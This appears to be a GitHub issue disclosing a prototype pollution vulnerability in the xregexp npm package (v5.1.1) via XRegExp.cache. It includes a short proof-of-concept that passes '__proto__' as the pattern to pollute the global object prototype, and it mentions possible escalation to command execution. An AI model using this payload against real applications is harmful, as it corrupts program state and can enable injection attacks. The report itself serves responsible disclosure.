-
-
Notifications
You must be signed in to change notification settings - Fork 276
Closed
Description
Affected Package:
xregexp v5.1.1
Vulnerability Location(s):
Description:
The latest version of xregexp (5.1.1) is vulnerable to Prototype Pollution through the entry function XRegExp.cache. An attacker can supply a payload with a pattern and flag to introduce or modify properties within the global prototype chain.
The consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library is integrated within the application. For example, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
(async () => {
var victim = {}
const x = require("xregexp")
x.cache('/a/', 'gi');
console.log("Before Attack: ", {}.gi); // undefined
x.cache('__proto__', 'gi');
console.log("After Attack: ", {}.gi); // /__proto__/gi { … }
})();
Metadata
Metadata
Assignees
Labels
No labels